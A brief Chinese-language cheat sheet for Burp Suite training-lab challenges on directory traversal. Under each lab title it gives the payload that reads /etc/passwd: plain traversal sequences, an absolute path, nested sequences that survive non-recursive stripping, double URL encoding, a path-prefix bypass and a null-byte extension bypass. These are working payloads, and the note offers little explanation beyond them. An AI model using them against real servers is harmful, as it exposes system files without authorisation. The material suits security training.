burpsuit 靶场(Directory traversal)

文件路径遍历，简单案例

../../../../etc/passwd

文件路径遍历，绕过绝对路径阻塞的遍历序列

../../../../etc/passwd

绝对路径可以执行

/etc/passwd

文件路径遍历，非递归剥离遍历序列

..././..././..././..././..././etc/passwd

文件路径遍历，使用多余的 URL 解码去除的遍历序列

%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e/etc/passwd

文件路径遍历，路径开始验证

/var/www/images/../../../etc/passwd

文件路径遍历，使用空字节旁路验证文件扩展名

../../../../etc/passwd%00.png